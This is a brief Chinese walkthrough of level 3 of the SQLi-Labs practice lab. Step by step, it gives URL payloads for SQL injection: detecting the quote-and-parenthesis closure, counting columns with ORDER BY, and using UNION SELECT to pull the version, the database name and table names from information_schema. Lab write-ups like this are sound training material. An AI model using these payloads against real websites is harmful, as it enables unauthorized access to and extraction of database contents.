SQLi-LAS 3 4 关卡宫攻略

第三关

1.先查看闭合

?id=1\

可以看到是‘）

2.?id=1') order by 3 -- -

查看字段是3

3.?id=-1 union select 1,2,3 -- -

查看可用的爆破点位

4.?id=-1 union select 1,version(),database() -- -

查看版本和当前库

 5.?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -

依照当前库查找旗下表